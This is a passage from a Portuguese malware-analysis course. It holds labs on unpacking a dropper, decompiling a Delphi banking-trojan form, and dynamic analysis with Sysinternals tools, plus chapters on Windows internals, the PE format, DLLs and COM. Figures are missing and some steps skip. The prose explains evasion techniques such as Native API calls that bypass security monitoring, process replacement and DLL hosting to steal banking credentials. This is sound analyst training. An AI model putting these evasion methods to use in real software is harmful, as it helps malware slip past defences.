- DeDe
- Delphi7 Portable
-Arquivo: Lab-04-02.exe
Passo a Passo
Engenharia Reversa e Análise de Malware | 70
1- Como sempre o primeiro passo da análise é identificar o arquivo com as ferramentas para obter
um perfil inicial. Vejamos os resultados.
O PEiD não identificou nada, o Exeinfo PE informou que o arquivo é do tipo MS IExpress
CAB installer e o RDG o compilador utilizado como Visual C++ porém detectou também que o
arquivo está comprimido com o IExpress v2.0.
IExpress é um programa da Microsoft que permite que criemos arquivos que se
descompactem ou se instalem automaticamente, ou seja, o arquivo só necessita que cliquem duas
vezes em cima dele para se instalar/descompactar. É parecido com aquela função self-extracting dos
zipadores. Se for ao seu computador em Executar ou no CMD e digitar iexpress, esse utilitário do
Engenharia Reversa e Análise de Malware | 71
3- Abra o WinRAR, clique em Arquivo – Abrir arquivo e selecione o .cab renomeado. Vai abrir a
seguinte tela:
Vemos que o WinRAR encontrou dois arquivos “escondidos” dentro do nosso executável,
Real.exe e Reals.exe.
4- Podemos agora extrair esses dois arquivos para assim analisá-los com mais cuidado. Clique em
Extrair Para – e selecione a pasta destino.
Engenharia Reversa e Análise de Malware | 72
5- Agora temos dois arquivos para análise, vamos fazer o mesmo processo de identificação com os
dois. O Exeinfo PE ficou meio confuso para identificá-lo precisamente e o PEiD e RDG
identificaram como sendo Borland Delphi 6.0/7.0.
6- Sabendo que há um bom descompilador para o Delphi, o DeDe, vamos diretamente tentar
descompilar o arquivo, primeiro com o Real.exe. Abra o DeDe.exe, clique no ícone da pasta ao lado
do botão Process para selecionar o nosso arquivo. Agora clique no botão Process, dê OK nas
mensagens que aparecerem e na mensagem da janela “DeDe Extended Analisys” clique em “No”.
7- Nesse momento o DeDe já fez a descompilação do programa, porém a interface dele não possui
muitos recursos para manipular o código encontrado, o ideal é salvar o projeto todo em formato
nativo do Delphi para abri-lo posteriormente neste. Para isso clique na guia Project, no campo
Project directory selecione o local onde quer que o projeto seja salvo e depois em “Create files”. Ao
final do salvamento dê OK e feche o DeDe.
8- Abra o Delphi7 Portable, clique em File – Open Project e selecione o arquivo .dpr que o DeDe
salvou. DPR é formato Delphi Project, o DeDe conseguiu salvar o projeto com o nome original que
foi utilizado nele, nesse caso é “dragon.dpr”.
Engenharia Reversa e Análise de Malware | 73
9- O Delphi pode dar algumas mensagens de erro, isso é normal, pois o projeto não está completo, é
só dar OK. Uma das coisas mais interessantes que podemos buscar em um projeto Delphi são os
Forms. Form é a janela do programa, nesse caso do malware, onde há botões, campos e tudo mais.
Para visualizá-lo clique em View – Forms.
10- É apresentada a janela dos formulários encontrados, nesse caso foi encontrado somente um
Form chamado de Tdilma. Clique duas vezes em cima dele para abri-lo. Vão ser exibidas algumas
mensagens de erros, isso é porque o DeDe não conseguiu recuperar tudo do projeto, alguma classe
ou componente externo que o Form utilizava não foi recuperada. Vai observando os nomes das
classes e clique em Ignorar.
Engenharia Reversa e Análise de Malware | 74
11- Agora visualizamos o Form, logo na barra de título dele podemos ver a string “Atualização de
Dados Cadastrais Banco Real Santander”. Isso já nos diz muita coisa, provavelmente um trojan-
banker. Apesar de o Form estar em branco, podemos ver alguns campos que devem servir para
entrada de dados das vítimas. Vemos campos que fazem referências a informações de cartão de
crédito.
12- Ao lado esquerdo na janela Object TreeView vemos todos os componentes que fazem parte do
Form, alguns nomes bem sugestivos. Podemos concluir que esse é uma janela do malware que pede
inúmeros dados pessoais da vida, inclusive número do cartão de crédito, RG, CPG e outros.
Engenharia Reversa e Análise de Malware | 75
13- No Form há um botão “Confirmar”, se clicarmos duas vezes em cima dele podemos visualizar o
evento relacionado ao botão, isto é, o que o malware faz quando a pessoa digita todos os dados e
clica em “Confirmar”. Clique duas vezes no botão para abrir o código.
Vemos que foi aberta a procedure Tdilma.vaiClick() e código ao invés de estar em Delphi
permanece em assembly, isto é comum já que o descompilar nunca vai conseguir recuperar todo o
código.
Engenharia Reversa e Análise de Malware | 76
14- Nessa procedure, dentre outras coisas, existe a captura de todos os dados que foram digitados
nos campos do formulário (componentes TEdit) e ao final esses dados são atribuídos a um
componente TMemo que foi nomeado como “xupameupinto”.
Tdilma.xupameupinto : TMemo
O que se segue são sequências de funções que atribuem ao componente TMemo linhas que contêm
um rótulo e a informação que a vítima digitou.
Essa sequência se repete para todos os campos Edits, até que no final é utilizado o método
Tstrings.SaveToFile(string) e é passada como parâmetro uma string criptografada, que deve ser o
nome do arquivo. Por fim ainda há um agradecimento.
Para analisar o código descompilado o mais fácil é abstrair o código assembly e focar nas strings e
referências de componentes e métodos do próprio Delphi, isso serve como base para entender o
código.
15- Basicamente o que foi possível notar é que o malware é composto de uma janela (Form) onde a
vítima digita seus dados e após clicar em Confirmar esses dados são salvos em um arquivo.
16- Havia dois arquivos, analisamos o Real.exe e ainda falta o Reals.exe, utilizando os mesmos
métodos descritos aqui tente extrair o máximo de informações desse malware, lembre-se que um
arquivo tem relação com o outro. Comece a análise do Reals.exe tendo em vista o ponto onde parou
o Real.exe. Boa sorte!
Engenharia Reversa e Análise de Malware | 78
5. Análise Dinâmica
Uma característica particularmente útil do Process Explorer é o botão Verify na aba Image.
Clique nesse botão para verificar se a imagem do processo que está no disco realmente é assinada
digitalmente pela Microsoft. A Microsoft utiliza assinatura digital na maioria dos seus executáveis
principais então quando o Process Explorer verifica se uma imagem é válida você pode ter certeza
que o arquivo executável é legítimo da Microsoft. Isso é útil para descobrir se o malware corrompeu
ou substituiu arquivos autênticos do Windows.
O botão Verify verifica a imagem do arquivo no disco ao invés da memória, então perde sua
utilidade se o malware sobrescrever o espaço de memória do processo verdadeiro (process
replacement). Porém essa técnica deixa pistas, o processo da memória será diferente do arquivo no
disco.
Engenharia Reversa e Análise de Malware | 79
Comparando Strings
Filtrando resultados
Nem sempre é fácil encontrar a informação que você está precisando em meio a milhares de
linhas. Você pode configurar filtros para exibirem apenas as informações relevantes para a sua
análise. Os filtros podem ser para chamadas específicas do sistema como CreateFile e WriteFile,
para nome de processos, arquitetura, duração, etc. Quando você coloca um filtro ele apenas afeta os
eventos que são mostrados na tela, os demais eventos continuam gravados porém ocultos com o
filtro.
Para configurar um filtro clique em Filter – Filter. Um dos mais úteis para análise de
malware é o “Process Name” “is” nome_do_malware.exe. Com isso exibiremos apenas atividades
Engenharia Reversa e Análise de Malware | 80
do malware. Caso o malware tenha criado outro processo durante a execução, a captura desses
eventos estará lá também, é só retirar o filtro e localizar o nome do novo processo.
Por padrão o procmon já vem com alguns filtros configurados, por exemplo um que exclui o
processo procmon.exe dos resultados. Além disso em sua barra de ferramentas ele possui quatro
tipos de filtros automáticos para categorias de eventos diferentes. De acordo com a figura abaixo
esses filtros são:
Registry: examinando operações no registro você pode dizer como o malware se instala no
registro.
File system: explorar interações com o sistema de arquivos pode mostrar todos os arquivos
que o malware criou ou os arquivos de configurações utilizados.
Process activity: investigando atividades de processos você pode descobrir se o malware
lançou outros processos.
Network: identificar conexões de rede pode mostrar alguma porta que o malware esteja
escutando.
Dica: o procmon permite a captura de eventos assim que o Windows é iniciado, ideal para analisar
as atividades de malwares que se iniciam com o sistema. Ative a opção através do menu: Options –
Enable Boot Logging.
Malwares frequentemente se comunicam com a rede para baixar atualizações, mais pragas
ou se comunicar com servidores de botnets. Conforme já vimos, podemos simular um ambiente de
rede com o FakeNet e obter rapidamente nomes DNS, endereços IPs e pacotes sem conectar o
malware à Internet.
Engenharia Reversa e Análise de Malware | 81
Quando for necessário liberar o malware para acessar a Internet verdadeira é recomendado o
uso de uma ferramenta de sniffing de rede para capturar toda a comunicação gerada. Wireshark é a
ferramenta indicada para isso, é open source e permite a captura, visualização e análise de cada
pacote que trafega na rede.
Para capturar pacotes no Wireshark, escolha Capture – Interfaces escolha a interface e
clique em Start. A captura também pode ser salva em um arquivo do formato PCAP para posterior
análise através do menu File – Save.
No Wireshark para visualizar o conteúdo de uma sessão TCP, clique com o botão direito em
qualquer pacote TCP e selecione Follow TCP Stream.
Regshot é uma ferramenta open source muito fácil de utilizar, ideal para verificar quais
alterações o malware provoca no registro do Windows e no sistema de arquivos.
Para monitorar os arquivos marque a caixa Scan dir e especifique as pastas que deseja
monitorar, como por exemplo, C:\.
Para executar o Regshot, simplesmente tire um shot antes de executar o malware clicando no
botão 1st shot. Execute o código malicioso, aguarde ele terminar a execução e então tire o segundo
shot em 2nd shot. Finalmente clique no botão Compare para realizar a comparação. Será
apresentado um relatório com as alterações encontradas. Certa quantidade de “ruído” é encontrada
nessa listagem, por causa de funções do sistema operacional que são constantemente executadas.
Assim com o procmon, a análise dos resultados requer prática e paciência.
As ferramentas discutidas nesse capítulo podem ser utilizadas juntas para maximizar a
quantidade de informação obtida na análise dinâmica. Vejamos um passo a passo de como essas
ferramentas podem ser utilizadas, porém cada um pode encontrar o jeito que melhor se adapta.
Em uma máquina virtual com um snapshot limpo faça:
5.6. Lab 05-01 Análise dinâmica com Process Explorer e Process Monitor
Nesse Lab iremos analisar um executável malicioso com a ajuda das ferramentas Process
Explorer e Process Monitor que fazer parte da Sysinternals Suite.
Material necessário:
- Máquina virtual com Windows XP 32-bit
- Process Explorer
- Process Monitor
- Arquivo: Lab-05-01.exe
Passo a Passo
2- Inicie o Process Monitor e certifique-se que nenhum filtro está configurado, para isso clique no
botão Reset na janela de filtros.
Engenharia Reversa e Análise de Malware | 83
5- Como nessa análise não estamos interessados em alterações de registro e nem de rede, desative a
exibição desses eventos no Process Monitor através dos dois botões correspondentes: Show
Registry Activity e Show Network Activity.
7- Após carregar algumas DLLs vemos que o processo Lab-05-01.exe faz muitas operações de
leitura no arquivo C:\windows\system32\svchost.exe, essa leitura é feita através da função
CreateFile da API do Windows. Apesar do nome Create essa função também é utilizada para ler
arquivos conforme pode ser conferido na coluna Detail do procmon.
8- Mais abaixo vemos que nosso processo cria outro processo chamado de svchost.exe, nesse caso
com o PID 504.
9- Após o novo processo svchost carregar várias DLLs o processo pai Lab-05-01.exe é finalizado.
10- Agora vamos olhar o Process Explorer. No final da lista de processos em execução encontramos
o svchost com o PID 504. Interessante notar que as informações nas colunas Description e
Company Name dele são as mesmas dos outros svchost.exe.
11- O Process Explorer organiza os processos em execução em forma de árvore, assim conseguimos
ver os processos pais com os respectivos processos filhos, vemos que os primeiros svchosts têm
como processo pai o services.exe. Já o nosso processo é órfão, não possui processo pai, isso já é
uma característica estranha.
Engenharia Reversa e Análise de Malware | 85
12- Vamos clicar com o botão direito do mouse no svchost órfão e em Properties. Na janela de
propriedades do processo vamos clicar no botão Verify para descobrir se a imagem do processo no
disco é legítima da Microsoft.
13- É confirmado que o arquivo em disco é legítimo (Verified) da Microsoft, ou seja, o arquivo que
o processo está apontando no disco não foi alterado. É algo estranho já que vimos que todos os
svchosts são iniciados pelo services.exe enquanto que esse foi iniciado pelo Lab-05-01.exe,
conforme é possível ver nessa mesma janela no campo Parent.
14- Vamos comparar as strings que estão na memória com as que estão na imagem do disco do
svchost suspeito para ver se são correspondentes. Para isso clique com o botão direito em cima do
processo e em Properties, escolha a aba Strings e deixe marcado Image. Minimize a janela e repita o
procedimento, dessa vez escolhendo a opção Memory.
15- Coloque as duas janelas lado a lado e compare as strings, no final das listagens é possível notar
Engenharia Reversa e Análise de Malware | 86
17- Já que o processo malicioso ainda está rodando e temos seu PID, vamos monitorar no Process
Monitor somente eventos desse processo para descobrir mais informações sobre ele. Abre o
procmon, reset os filtros e adicione o filtro “PID is” e o número do PID do svchost malicioso, no
meu caso o 504.
18- Simule algumas atividades no computador para ver se o procmon consegue capturar algo do
svchost malicioso. Digite alguma coisa no navegador, notepad, etc. Agora volte para a tela do
procmon.
Engenharia Reversa e Análise de Malware | 87
* Obs.: Exemplo retirado do livro Practical Malware Analysis de Michael Sikorski e Andrew
Honig, Editora No Starch Press. Mais informações: http://nostarch.com/malware.
Engenharia Reversa e Análise de Malware | 88
Esse Lab é um desafio para treinar os conhecimentos adquiridos até o momento, podem ser
utilizadas todas as técnicas e ferramentas de análise estática e dinâmica aprendidas. O objetivo é
obter o maior número de informações do malware em questão.
Material necessário:
- Máquina virtual com Windows XP 32-bit
- PEiD, Exeinfo PE, RDG
- FakeNet, Wireshark
- Sysinternals Suite
- Regshot
- OllyDbg
- Arquivo: Lab-05-02.com
Engenharia Reversa e Análise de Malware | 89
6. Windows Internals
Uma vez que a maioria dos malwares atuais tem como alvo o sistema operacional Windows
e interagem diretamente com ele, é interessante conhecermos bem a arquitetura do SO. O Windows
é um sistema complexo e seria difícil somente nesse capítulo cobrir todo seu funcionamento, porém
serão apresentados os conceitos mais relevantes para a análise de malware.
Uma funcionalidade crítica dos protection rings é a habilidade da CPU de mudar seu nível
de privilégio baseada nas necessidades do código em execução, permitindo aplicações user mode
rodarem código em kernel mode para realizar determinada tarefa. Em outras palavras, a CPU pode
Engenharia Reversa e Análise de Malware | 90
Kernel mode é o modo de privilégio que o processador utiliza enquanto está executando
código do sistema operacional (incluindo drivers de dispositivos). Em modo de menor privilégio as
aplicações do usuário não podem utilizar as mesmas instruções de CPU e hardware que o kernel
mode pode. Como os programas de ambos os modos devem utilizar a memória para executarem,
esses espaços de memória de cada um são separados logicamente e marcados com o modo de
acesso apropriado para assim o processador saber com qual nível de privilégio executar aquela
página de memória. Programas user mode devem gastar uma parte de sua vida no kernel mode para
realizar várias operações, assim instruções especiais do processador como a SYSENTER são
utilizadas para realizar essa transição, como discutido anteriormente. O sistema operacional
intercepta essa instrução quando ela é utilizada por um programa user mode e realiza validação
básica dos parâmetros fornecidos para a função antes de permitir o prosseguimento para o kernel
mode (Ring 0).
Kernel land é um ambiente extremamente volátil onde todo código executado possui
privilégios, direitos de acesso e capacidades iguais. Devido aos endereços de memória não serem
separados, como é feito em user mode pelos processos, qualquer programa em kernel mode pode
acessar a memória, dados, e pilha de qualquer outro programa (incluindo aqueles do próprio sistema
operacional). De fato, qualquer componente pode se registrar como um handler de qualquer tipo de
dados – tráfego de rede, teclas do teclado, informação do sistema de arquivos, e mais,
Engenharia Reversa e Análise de Malware | 91
independentemente se ele precisa ou não acessar essa informação. A única restrição: você deve
“prometer” jogar de acordo com as regras. Caso isso não ocorra, você irá causar um conflito o
sistema todo irá travar.
Isso cria um ambiente muito complicado e livre para todos. Qualquer um que conheça os
requisitos básicos e C (linguagem de programação) suficiente para ser perigoso pode desenvolver
um kernel driver, carregá-lo e começar a ver tudo o que acontece. O problema é que não existe
validação de seu código em tempo de execução – nenhum manipulador de exceções para capturar
seus erros de código e lógica. Uma instrução inválida, por exemplo, causará a famosa blue screen
do Windows (crash).
Código em kernel mode é muito importante para os autores de malware porque mais pode
ser feito do que no user mode. A maioria dos programas de segurança, como os antivírus e firewalls,
rodam em kernel mode, dessa forma que eles podem acessar e monitorar atividades de todas as
aplicações rodando no sistema. Malware executando em kernel mode pode mais facilmente
interferir nos programas de segurança ou dar um bypass no firewall.
Malware rodando em kernel mode é consideravelmente mais poderoso. No espaço do
kernel, qualquer distinção entre os processos que estão rodando com privilégios ou sem privilégios
é removida. Adicionalmente, as capacidades de auditoria do SO não se aplicam na kernel land. Por
essas razões quase todos os rootkits utilizam código rodando no kernel.
Desenvolver código em kernel mode é consideravelmente mais difícil do que user mode.
Uma das maiores dificuldades é que código kernel pode muito mais facilmente travar o sistema
durante o desenvolvimento e debugging. E também, muitas funções comuns não estão disponíveis
no kernel e há poucas ferramentas para compilar e desenvolver código. Devido a esses desafios,
somente malwares sofisticados rodam no kernel. A maioria dos malwares não possui componentes
de kernel.
User land é o espaço para aplicações que não pertencem ao kernel e são protegidas por
separação de privilégios. Essencialmente, toda aplicação user mode executa no nível de privilégio
da conta do usuário e não como parte do sistema operacional. Todas as permissões e políticas de
acesso são aplicadas nesse modo.
Em user mode cada processo tem sua própria memória, permissões de segurança e recursos.
Caso um programa em user mode execute uma instrução inválida e trave, o Windows pode
reivindicar todos seus recursos e terminar o programa. Normalmente, user mode não pode
manipular o hardware diretamente e está restrito a somente um subconjunto de registradores e
Engenharia Reversa e Análise de Malware | 92
instruções da CPU. Código em kernel mode pode manipular código rodando em user mode, mas
código rodando em user mode pode afetar o kernel somente através de interfaces muito bem
definidas.
quebraria a compatibilidade com Windows 9x (alguém ainda se importa com isso?). Essa é uma das
razões pelas quais a Microsoft nunca quis realmente documentá-la, é esperado que programas
aplicativos somente utilizem a Win32 API para interagir com o sistema. E ainda, não expondo a
Native API, a Microsoft assegura a liberdade de revisá-la e alterá-la sem afetar aplicações Win32.
Porém existem esforços externos que tentam documentá-la como o website:
http://undocumented.ntinternals.net/.
Tecnicamente, a Native API é um conjunto de funções exportadas pela NTDLL.DLL (para
chamadas user mode) e por NTOSKRNL.EXE (para chamadas kernel mode). A figura abaixo
demonstra os passos e as camadas que a Microsoft criou para que as aplicações alcancem as
funcionalidades desejadas através da native API.
Chamar a Native API diretamente é um atrativo para os autores de malwares porque isso
permite que eles façam coisas que de outras formas não era possível. Há muitas funcionalidades que
não são expostas pela Win32 API, mas que podem ser atingidas chamando diretamente a Native
API.
Adicionalmente, essa chamada direta é às vezes mais furtivo. Muitos antivírus e programas
de segurança monitoram as chamadas de funções feitas por um processo, se o processo chama
funções diretamente da Native API ele pode ser capaz de evadir um programa mal projetado. Por
exemplo, se o programa de segurança monitora somente chamadas às funções da Kernel32.dll, o
malware quando precisar utilizar a função WriteFile() da Kernel32.dll pode simplesmente chamar a
função equivalente na Native API, no caso a NtWriteFile() que está na ntdll.dll e não é monitorada
pelo programa de segurança, assim será configurado um bypass.
Engenharia Reversa e Análise de Malware | 95
As funções na Native API sempre iniciam com um desses dois prefixos: Nt ou Zw, assim as
funções têm nomes como NtCreateFile ou ZwCreateFile. Às vezes a mesma função possui as duas
versões com os dois prefixos, em user mode elas se comportam exatamente da mesma maneira e
usualmente chamam o mesmo código. Há algumas diferenças menores quando chamadas em kernel
mode, mas essas diferenças podem ser seguramente ignoradas por analistas de malwares.
Nesse Lab iremos navegar pelo conjunto de APIs do Windows desde a aplicação do usuário
até o kernel.
Material necessário:
- Máquina virtual com Windows XP 32-bit
- IDA Pro Free
- WinDbg
- Windows Symbol Packages (opcional)
Existem algumas ferramentas que facilitam a visualização dessa estrutura, entre as mais
conhecidas incluem CFF Explorer, PEView, PEBrowse Pro e Lord PE (PE Editor). Existe também a
ferramenta pev que é multiplataforma e possui uma versão online (http://pev.sf.net), foi criada pelo
Fernando Mercês (http://www.mentebinaria.com.br/projetos).
Para evitar endereços hardcoded (endereços fixos) dentro dos arquivos PE, Relative Virtual
Addresses (RVA) são utilizados. Um RVA é simplesmente um offset na memória relativo ao local
onde o PE foi carregado. Esse endereço onde o PE foi carregado é chamado de Virtual Address
(VA). Um exemplo, vamos considerar que um arquivo EXE foi carregado na memória no VA
0x400000, e que sua sessão de código (.text) se inicia no endereço 0x401000. Dessa forma para
encontrar o RVA da sessão .text faríamos:
Então o RVA da sessão .text seria 0x1000. Agora se você tiver o RVA e quiser saber o
endereço de memória real, simplesmente faça o contrário:
Quando arquivos PE são carregados na memória pelo Windows loader, a versão desse
arquivo na memória é chamada de module. O endereço inicial onde o arquivo é mapeado, isto é, o
Virtual Address (VA), é chamado de HMODULE. Um module na memória representa todo o
código, dados e recursos de um arquivo PE necessários para sua execução, enquanto que o termo
processo basicamente se refere a um espaço de memória isolado que pode ser utilizado para
executar esse module.
O campo magic possui a assinatura do arquivo, que diz para o sistema operacional de qual
tipo o arquivo é, nesse caso o arquivo PE vai ter os valores 0x4D e 0x5A (em ASCII representam as
letras “MZ” de Mark Zbikowsky, um dos arquitetos originais do MS-DOS).
O campo lfanew fica no final do DOS header e consequentemente antes do DOS stub, ele
contém o RVA do início do PE header, assim o Windows loader encontra esse campo e pode pular a
DOS Stub e ir direto para o PE header. Na figura abaixo a representação ilustrada do que falamos.
Engenharia Reversa e Análise de Malware | 99
6.7.3. PE Header
Signature contém os valores 0x50, 0x45, 0x00 e 0x00 (“PE” seguido de dois zeros
finalizadores da string)
IMAGE_FILE_HEADER é uma estrutura de dados compostas pelos próximos 20 bytes do
arquivo PE e contém informações sobre o layout físico e propriedades do arquivo, como por
exemplo, o número de sessões. Sua estrutura é essa:
Engenharia Reversa e Análise de Malware | 100
Destaque para o campo Characteristics que contém flags que descrevem várias
características do arquivo, o CFF Explorer nos mostra essas informações:
range.
DataDirectory: esse é um array de 16 estruturas de IMAGE_DATA_DIRECTORY, cada
uma relativa a uma importante estrutura no arquivo PE, como por exemplo, a tabela de imports -
IAT (Import Address Table). O DataDirectory está nos últimos 128 bytes do OptionalHeader, cada
uma das 16 estruturas já são predefinidas e possuem 8 bytes. Possuem dois campos que são a
localização (RVA) e o tamanho da estrutura em questão. O utilitário LordPE através de sua opção
PE Editor, lista essas 16 estruturas de forma amigável como pode-se ver abaixo.
As estruturas que possuem valores 00h nos dois campos não são utilizadas pelo arquivo PE
em questão (NOTEPAD.EXE).
6.7.5. PE Sections
seções, enquanto outros definem ainda mais seções de acordo com suas necessidades. Vejamos
algumas características das seções principais separadas por funcionalidades:
Resources (.rsrc)
A seção .rsrc contém informações de recursos para um módulo. Essas informações podem
ser ícones, cursores do mouse, bitmaps, e outros. Ela possui uma estrutura de diretórios em árvore
mais complexa e a melhor forma de visualizá-la é através um programa editor de recurso como o
Resource Hacker. Essa seção também é utilizada pelos malwares para “esconder” códigos ou
módulos.
thread. Cada vez que o processo cria uma nova thread, essa nova thread obtém seu próprio TLS, que
foi criado utilizando a seção .tls como template.
Abaixo a sequência resumida dos passos que o loader executa para carregar um arquivo PE
na memória.
Dynamic link libraries (DLLs) é como o Windows possibilita o uso de bibliotecas para
compartilhar código entre múltiplas aplicações. Uma DLL é um arquivo do formato PE que não
executa sozinho, mas exporta funções que podem ser utilizadas por outras aplicações.
A principal vantagem de se utilizar DLLs é que a memória usada pela DLL pode ser
compartilhada entre os processos que estão rodando. Por exemplo, se uma biblioteca é usada por
dois processos diferentes, os processos não precisarão fazer uma cópia cada um da DLL na
memória, dessa forma economizará memória.
Outra grande vantagem do uso das DLLs é que quando um executável é distribuído, você
pode utilizar as DLLs que já são conhecidas e estão no Windows sem a necessidade de redistribuí-
las. Isso ajuda os desenvolvedores de software e os autores de malwares a diminuir o tamanho de
suas distribuições.
DLLs também são mecanismos úteis de reuso de código. Por exemplo, grandes companhias
de software irão criar DLLs com algumas funcionalidades que são comuns para muitas de suas
aplicações. Então, quando eles distribuem as aplicações, eles distribuem o .EXE principal e alguma
DLL que a aplicação utiliza. Isso permite eles manterem uma única biblioteca de código comum e
distribuí-la somente quando necessário.
O fato de que as DLLs executam no contexto de um processo torna o seu uso muito
desejável pelos autores de malware. Distribuindo código malicioso em uma DLL ao invés de um
EXE, permite que o malware se execute dentro de algum processo (conhecido como processo alvo
ou processo host), incluindo winlogon.exe, csrss.exe ou explorer.exe. Não somente isso ajuda o
malware a ocultar suas ações (qualquer ação que o malware realizar aparecerá como originada do
processo host), como também dará ao malware acesso a todo o endereçamento de memória que
pertence ao processo host.
Caso o processo host seja um browser, o malware pode capturar credenciais bancárias das
transações SSL antes que a encriptação seja feita. Outra razão pela qual os autores de malware
utilizam DLLs é porque pesquisadores e analistas não estão familiarizados com DLLs da mesma
forma que com EXEs.
Internamente, arquivos DLL são quase exatamente iguais aos EXE. DLL utiliza o formato
Engenharia Reversa e Análise de Malware | 108
PE e somente uma simples flag indica que aquele arquivo é uma DLL e não um EXE (essa flag está
no IMAGE_FILE_HEADER no campo Characteristics). DLLs geralmente têm mais Exports e
menos Imports. Tirando isso, não existe diferença real entre DLLs e EXEs.
A função principal da DLL é DllMain. Ela não possui rótulo e não é um Export da DLL,
mas é especificada no PE Header com o Entry Point do arquivo. A função é chamada para notificar
a DLL sempre que um processo carrega ou libera a biblioteca, cria uma nova thread ou finaliza uma
thread existente. Essa notificação permite a DLL gerenciar qualquer recurso por processos ou por
threads.
A maioria das DLLs não tem recursos por threads, e elas ignoram chamadas para a DllMain
que são causadas por atividades da thread. Contudo, se a DLL possui recursos que devem ser
gerenciados pela thread, então esses recursos podem prover uma dica para um analista sobre o
objetivo da DLL.
Muitos autores de malware colocam nomes significativos para as funções que a DLL
maliciosa exporta, isso nos dá uma rápida e fácil primeira impressão das capacidades da DLL.
Outros autores podem utilizar nomes enganosos ou aleatórios para intencionalmente enganá-lo.
Com os mesmos programas que analisamos os EXE podemos também analisar as DLLs e enumerar
seus Exports. Desses programas destacam-se o CFF Explorer e o IDA Pro.
No CFF Explorer pode-se clicar em Export Directory para apresentar todos os Exports da
DLL.
Engenharia Reversa e Análise de Malware | 109
No IDA Pro é só clicar na aba Exports para visualizar o mesmo conteúdo. Inclusive a
vantagem do IDA é que ele permite navegar no código de qualquer Export para entendermos
melhor quais suas funcionalidades. Não tire conclusões sobre um Export apenas baseado no seu
nome, antes faça uma análise do código.
Engenharia Reversa e Análise de Malware | 110
Diferente de programas EXE, você não pode simplesmente dar dois cliques em uma DLL
para ela executar, porque uma DLL não é uma entidade standalone, ela requer um processo host, ou
um contêiner, para operar. O Windows já vem com um programa chamado rundll32.exe que serve
como um processo host genérico para executar DLL. A linha de comando para esse programa é:
1. Ele chama GetCommandLineW para obter os parâmetros da linha de comando que você
forneceu.
Engenharia Reversa e Análise de Malware | 111
O comando para executar uma DLL através do rundll32.exe é simples, porém não se
esqueça de SEMPRE fornecer um nome de função em export, mesmo que você só queira executar o
DllMain, é necessário fornecer algum parâmetro, dessa forma você pode colocar qualquer nome
falso.
Após a execução da DLL você pode monitorá-la normalmente através dos programas de
análise dinâmica, porém tenha em mente que o processo alvo de monitoramento será o rundll32.exe
já que ele que estará servindo de host para a DLL.
Uma das limitações óbvias do rundll32.exe é que o processo host da DLL sempre será o
rundll32.exe. Muitas DLLs maliciosas apenas operam em processos hosts específicos e finalizarão a
execução ou se comportarão diferente se você tentar executá-las em um processo qualquer. Por
exemplo, a figura abaixo (fornecida pelo livro Malware Analyst’s Cookbook and DVD) mostra uma
descompilação de código encontrado na DLL do trojan Clod/Sereki.
Engenharia Reversa e Análise de Malware | 112
Como você pode ver, se o processo host é explorer.exe, o malware cria uma thread e realiza
uma série de procedimentos. Caso o processo host não seja o explorer.exe, nem iexplore.exe,
regedit.exe, regedt32.exe e firefox.exe, a DLL chama a função Cleanup e retorna.
Se você executa a DLL com rundll32.exe e ela não se comporta do jeito que você esperava,
então ela pode ter uma restrição de processo host. Nesse caso, você terá que realizar a análise
estática da DLL para tentar descobrir a lista de processos que a DLL deseja executar. Tenha em
mente que essa lista nem sempre estará em texto simples, poderá estar ofuscada.
Para realizar o debugging de uma DLL basta você abri-la no OllyDbg ou no Immunity
Debugger. Ambos os debuggers incluem um processo host genérico chamado LOADDLL.EXE, que
serve de container para executar sua DLL (do mesmo jeito que o rundll32.exe trabalha).
O debugger executa o LOADDLL.EXE passando como argumento o caminho para sua
DLL. Depois chama GetCommandLineA e em sequência LoadLibraryA. Assim a DLL é chamada e
a execução é parada no DLLEntryPoint, pois o debugger coloca um breakpoint automaticamente aí.
O debugger sabe onde é o entry point da DLL através do campo AddressOfEntryPoint no PE
Header. A partir desse momento você pode debugar a DLL como se fosse um programa comum.
O Microsoft Component Object Model, mais conhecido como COM, é uma padrão de
interface que torna possível diferentes componentes de software chamar código de outros
componentes sem o conhecimento de suas especificações. Quando analisar malware que utiliza
COM, você precisará ser capaz de determinar qual código será executado como resultado de uma
chamada a uma função COM.
COM funciona com qualquer linguagem de programação e foi projetada para suportar
componentes de softwares reusáveis que possam ser utilizados por todos os programas. Como COM
é muito versátil, ela é difundida no sistema operacional e na maioria das aplicações da Microsoft.
Ocasionalmente COM também é utilizada em aplicações de terceiros.
Malwares que utilizam as funcionalidades da COM podem ser difíceis de serem analisados,
mas você pode utilizar as técnicas descritas aqui para ajudar. COM é implementada como um
framework client/server. Os clientes são os programas que fazem uso de objetos COM, e o
servidores são os componentes reusáveis oferecidos pelas aplicações, isto é, os próprios
componentes COM. A Microsoft fornece um grande número de objetos COM para programas
utilizarem.
Cada thread que utiliza COM deve chamar as funções OleInitialize ou CoInitialize pelo
menos uma vez antes de chamar outras funções da biblioteca COM. Então, um analista de malware
pode buscar por essas funções para determinar se uma programa está utilizando as funcionalidades
da COM. Todavia, apenas saber que o malware utiliza um objeto COM como client não fornece
muita informação, porque existem muitos objetos COM e são muito difundidos. Uma vez que você
descobriu que uma malware utiliza COM, agora você precisará encontrar identificadores de qual
objeto está sendo utilizado para continuar a análise.
Engenharia Reversa e Análise de Malware | 114
Objetos COM são acessados através dos seus identificadores globais únicos (globally unique
identifiers, GUID) conhecidos como class identifiers (CLSIDs) e interface identifiers (IIDs).
Uma COM class faz referência a um object (um programa) que implementa uma interface.
Essa interface por sua vez pode implementar várias funções, porém uma interface não está ligada a
uma COM class, ela é independente de programa. Por causa disso, para acessar um objeto COM é
necessário informar o identificador da COM class (CLSID) e também o identificador da interface
que será utilizada (IID). Por exemplo, podemos informar o CLSID (que é uma sequência numérica)
do Internet Explorer e informar o IID da interface IWebBrowser2 que é implementada pelo IE e
então posteriormente utilizar a função Navigate, que faz parte da interface, para executar o IE e
acessar um endereço web.
Considere um exemplo de malware que utiliza o Navigate para acessar um endereço
malicioso. O malware primeiro chama a função CoCreateInstance para ter acesso às
funcionalidades COM de um objeto. A função aceita o CLSID e o IID do objeto que o malware está
requisitando. O sistema operacional então busca por informações da class e carrega o programa que
fornecerá a funcionalidade, se ele já não estiver executando. A função CoCreateInstance retorna um
ponteiro que aponta para um estrutura que contém outros ponteiros para as funções da interface.
Para utilizar a funcionalidade da COM server o malware chamará a função Navigate através do
ponteiro dessa última estrutura. A listagem abaixo mostra um exemplo de código que acessa a
interface IWebBrowse2.
IID:D30C1661-CDAF-11D0-8A3E-00C04FC9E26E
